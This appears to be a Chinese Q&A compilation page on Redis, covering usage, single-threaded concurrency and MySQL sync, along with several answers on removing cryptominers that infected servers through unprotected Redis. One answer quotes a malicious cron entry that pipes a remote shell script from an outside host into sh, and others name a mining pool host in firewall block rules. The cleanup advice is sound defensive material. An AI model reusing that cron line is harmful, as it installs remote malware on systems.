redis深度利用挖礦
A. struts2怎麼使用redis共享
先 @Autowired
private RedisTemplate redisTemplate;
然後
用的時候可以先
ValueOperations<String, String> opsValue = redisTemplate.opsForValue();1
然後取值就redis一定要設置密碼,經常會有主機被黑去挖礦 本人就是受害者。
B. 如何用Python一門語言通吃高性能並發,GPU計算和深度學習
第一個就是並發本身所帶來的開銷即新開處理線程、關閉處理線程、多個處理線程時間片輪轉所帶來的開銷。
實際上對於一些邏輯不那麼復雜的場景來說這些開銷甚至比真正的處理邏輯部分代碼的開銷更大。所以我們決定採用基於協程的並發方式,即服務進程只有一個(單cpu)所有的請求數據都由這個服務進程內部來維護,同時服務進程自行調度不同請求的處理順序,這樣避免了傳統多線程並發方式新建、銷毀以及系統調度處理線程的開銷。基於這樣的考慮我們選擇了基於Tornado框架實現api服務的開發。Tornado的實現非常簡潔明了,使用python的生成器作為協程,利用IOLoop實現了調度隊列。
第二個問題是資料庫的性能,這里說的資料庫包括MongoDB和Redis,我這里分開講。
先講MongoDB的問題,MongoDB主要存儲不同的用戶對於驗證的不同設置,比如該顯示什麼樣的圖片。
一開始每次驗證請求都會查詢MongoDB,當時我們的MongoDB是純內存的,同時三台機器組成一個復制集,這樣的組合大概能穩定承載八九千的qps,後來隨著我們驗證量越來越大,這個承載能力逐漸就成為了我們的瓶頸。
為了徹底搞定這個問題,我們提出了最極端的解決方案,乾脆直接把資料庫中的數據完全緩存到服務進程里定期批量更新,這樣查詢的開銷將大大降低。但是因為我們用的是Python,由於GIL的存在,在8核伺服器上會fork出來8個服務進程,進程之間不像線程那麼方便,所以我們基於mmap自己寫了一套夥伴演算法構建了一個跨進程共享緩存。自從這套緩存上線之後,Mongodb的負載幾乎變成了零。
說完了MongoDB再說Redis的問題,Redis代碼簡潔、數據結構豐富、性能強大,唯一的問題是作為一個單進程程序,終究性能是有上限的。
雖然今年Redis發布了官方的集群版本,但是經過我們的測試,認為這套分布式方案的故障恢復時間不夠優秀並且運維成本較高。在Redis官方集群方案面世之前,開源世界有不少proxy方案,比如Twtter的TwemProxy和豌豆莢的Codis。這兩種方案測試完之後給我們的感覺TwemProxy運維還是比較麻煩,Codis使用起來讓人非常心曠神怡,無論是修改配置還是擴容都可以在配置頁面上完成,並且性能也還算不錯,但無奈當時Codis還有比較嚴重的BUG只能放棄之。
幾乎嘗試過各種方案之後,我們還是下決心自己實現一套分布式方案,目的是高度貼合我們的需求並且運維成本要低、擴容要方便、故障切換要快最重要的是數據冗餘一定要做好。
基於上面的考慮,我們確定基於客戶端的分布式方案,通過zookeeper來同步狀態保證高可用。具體來說,我們修改Redis源碼,使其向zookeeper注冊,客戶端由zookeeper上獲取Redis伺服器集群信息並根據統一的一致性哈希演算法來計算數據應該存儲在哪台Redis上,並在哈希環的下一台Redis上寫入一份冗餘數據,當讀取原始數據失敗時可以立即嘗試讀取冗餘數據而不會造成服務中斷。
C. 如何用Linux伺服器挖礦教程
今天早上起來一看,伺服器腳本一個都沒有啟動!甚是奇怪,遠程登錄伺服器,也是異常的卡,直到最後卡死,只好重新啟動伺服器!
啟動之後沒一會又會變卡,越來越卡,top查看進程!不覺又奇怪的進程,因為平常也不經常看!所以自己也搞不明白怎麼回事兒!只好到群里問了問,說是被挖礦的掛了木馬文件了,是由於redis的漏洞!
後來我自己發現,原來redis遠程可以直接登錄,原以為redis和mysql不開放登錄許可權就不會支持遠程登錄呢,看來是我想多了
看了好長時間才發現一個異常的進程,自啟的進程 molibe !
找到進程位置 ps -ef|grep molibe ;
在tmp目錄下,打開一看的確是有
chmod -x molibe 取消執行許可權在來到/var/spool/cron下,cat root 查看定時器的執行發現之前腳本都被改了,顧不得刪除cron,service crond restart 重新啟動,再有就時kill 掉molibe進程
這樣大概整個就結束了!但是根本是因為redis漏洞,所以還是補上吧
首先修改redis'埠,找到redis.conf文件 port **** 修改埠號再有就是必須修改密碼 # requirepass ******** 去除#號重新啟動 /redis/src/redis-server /redis/redis-conf
啟動成功之後
redis/redis-cli -p ****(埠) -a *****(密碼)
D. 阿里雲伺服器被挖礦了怎麼辦(純純電腦小白
1. 關閉訪問挖礦伺服器的訪問
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉執行許可權, 在沒有找到根源前,千萬不要刪除 minerd,因為刪除了,過一回會自動有生成一個。
3. pkill minerd ,殺掉進程
4. service stop crond 或者 crontab -r 刪除所有的執行計劃
5. 執行top,查看了一會,沒有再發現minerd 進程了。
6.檢查/var/spool/cron/目錄下發現有個root用戶的定時器文件。
下載腳本的語句:
*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105010 | sh
病毒文件內容如下,感興趣的可以研究下:
View Code
解決minerd並不是最終的目的,主要是要查找問題根源,我的伺服器問題出在了redis服務了,黑客利用了redis的一個漏洞獲得了伺服器的訪問許可權,http://blog.jobbole.com/94518/然後就注入了病毒,下面是解決辦法和清除工作:
1. 修復 redis 的後門,
配置bind選項, 限定可以連接Redis伺服器的IP, 並修改redis的默認埠6379.
配置AUTH, 設置密碼, 密碼會以明文方式保存在redis配置文件中.
配置rename-command CONFIG 「RENAME_CONFIG」, 這樣即使存在未授權訪問, 也能夠給攻擊者使用config指令加大難度
好消息是Redis作者表示將會開發」real user」,區分普通用戶和admin許可權,普通用戶將會被禁止運行某些命令,如conf
2. 打開 ~/.ssh/authorized_keys, 刪除你不認識的賬號
3. 查看你的用戶列表,是不是有你不認識的用戶添加進來。 如果有就刪除掉.
E. 怎麼操作啊,我這邊緩存數據看不了,只能看有多少緩存M。
對於變化頻率非常快的數據來說,如果還選擇傳統的靜態緩存方式(Memocached、File System等)展示數據,可能在緩存的存取上會有很大的開銷,並不能很好的滿足需要,而Redis這樣基於內存的NoSQL資料庫,就非常適合擔任實時數據的容器。
但是往往又有數據可靠性的需求,採用MySQL作為數據存儲,不會因為內存問題而引起數據丟失,同時也可以利用關系資料庫的特性實現很多功能。
所以就會很自然的想到是否可以採用MySQL作為數據存儲引擎,Redis則作為Cache。而這種需求目前還沒有看到有特別成熟的解決方案或工具,因此採用Gearman+PHP+MySQL UDF的組合非同步實現MySQL到Redis的數據復制。
MySQL到Redis數據復制方案
無論MySQL還是Redis,自身都帶有數據同步的機制,比較常用的MySQL的Master/Slave模式,就是由Slave端分析Master的binlog來實現的,這樣的數據復制其實還是一個非同步過程,只不過當伺服器都在同一內網時,非同步的延遲幾乎可以忽略。
那麼理論上也可以用同樣方式,分析MySQL的binlog文件並將數據插入Redis。但是這需要對binlog文件以及MySQL有非常深入的理解,同時由於binlog存在Statement/Row/Mixedlevel多種形式,分析binlog實現同步的工作量是非常大的。
因此這里選擇了一種開發成本更加低廉的方式,借用已經比較成熟的MySQL UDF,將MySQL數據首先放入Gearman中,然後通過一個自己編寫的PHP Gearman Worker,將數據同步到Redis。比分析binlog的方式增加了不少流程,但是實現成本更低,更容易操作。
F. 防火牆怎麼配置防挖礦
針對挖礦蠕蟲對SSH/RDP等進行暴力破解的攻擊方式,雲防火牆的基礎防禦支持常規的暴力破解檢測方式,如登錄或試錯頻次閾值計算,對超過試錯閾值的行為進行IP限制,還支持在用戶的訪問習慣、訪問頻率基線的基礎上,結合行為模型在保證用戶正常訪問不被攔截的同時對異常登錄進行限制。
針對一些通用的漏洞利用方式(如利用Redis寫Crontab執行命令、資料庫UDF進行命令執行等),雲防火牆的基礎防禦基於阿里雲的大數據優勢,利用阿里雲安全在雲上攻防對抗中積累的大量惡意攻擊樣本,可以形成精準的防禦規則,具有極高的准確性。
若您需要開啟雲防火牆的基礎防禦,只需要在安全策略->入侵防禦->基礎防禦配置欄勾選基礎規則即可,當基礎防禦開啟後,在網路流量分析->IPS阻斷分析中可以看到詳細的攔截日誌。
G. 既然redis是單線程模型,怎麼會出現並發訪問
1.大多數是純內存訪問,不需要訪問磁碟 2.非阻塞IO 3.不需要考慮並發、鎖,也不會增加上下文切換等開銷 總之,redis為特殊的場景選擇了合適的技術方案。
H. redis 單線程 怎麼還有並發問題
引用以下知識回答你的問題――《redis深度歷險》:
Redis是個單線程程序!這點必須銘記。
也許你會懷疑高並發的Redis 中間件怎麼可能是單線程。很抱歉,它就是單線程,你的懷疑暴露了你基礎知識的不足。莫要瞧不起單線程,除了Redis 之外,Node.js 也是單線程,Nginx也是單線程,但是它們都是伺服器高性能的典範。
Redis單線程為什麼還能這么快?
因為它所有的數據都在內存中,所有的運算都是內存級別的運算。正因為Redis是單線程,所以要小心使用Redis 指令,對於那些時間復雜度為O(n) 級別的指令,- -定要謹慎使用,一不小心就可能會導致Redis 卡頓。
Redis單線程如何處理那麼多的並發客戶端連接?
這個問題,有很多中高級程序員都無法回答,因為他們沒聽過多路復用這個詞彙,不知
道select 系列的事件輪詢API, 沒用過非阻塞IO。
I. 中挖礦病毒的表現
故障現象:使用過程中,發現經常有服務無故關閉,登錄伺服器經檢查,發現CPU使用率達到100%。在檢測異常進程中,未發現CPU使用率異常的進程(使用 top、htop 以及 ps -aux 進行檢查),於是報障。
檢測過程:
1.找到他shell腳本對應目錄把目錄或者文件刪除。
2.檢查定時任務是否存在挖礦木馬文件在定時任務中,避免定時運行挖礦木馬文件。
3.添加hosts挖礦病毒訪問對應網站,避免二次訪問並下載。
4.排查liunx命令是否損壞,如損壞下載"procps-3.2.8"並編譯,恢復top等系列命令。
5.檢測進程是否異常。
6.排查入侵入口,例如 redis是否存在弱口令,nginx或者apache上面的網站程序是否存在漏洞,並排查下nginx或者apache日誌審查漏洞所在處。
7.排查ssh登錄日誌。
8.把ssh登錄切換成秘鑰登錄。
9.重啟伺服器,檢查是否進程是否正常。
J. 單進程單線程的Redis如何能夠高並發
redis是C語言寫的,C是只能單線程的。
但是並不代表單線程不能夠做到多線程的效率和工作。
多線程是並發的體現,前提是有多處理器,就一定能並發,
匯編都可以寫並發程序,所以也就能多線程,單線程的C肯定是可以的。
在《redis深度歷險》提到,nodejs,redis,nginx這樣的高性能伺服器,可以通過非阻塞I/O實現,
具體內容可以看電子版的,或者去圖書館翻翻看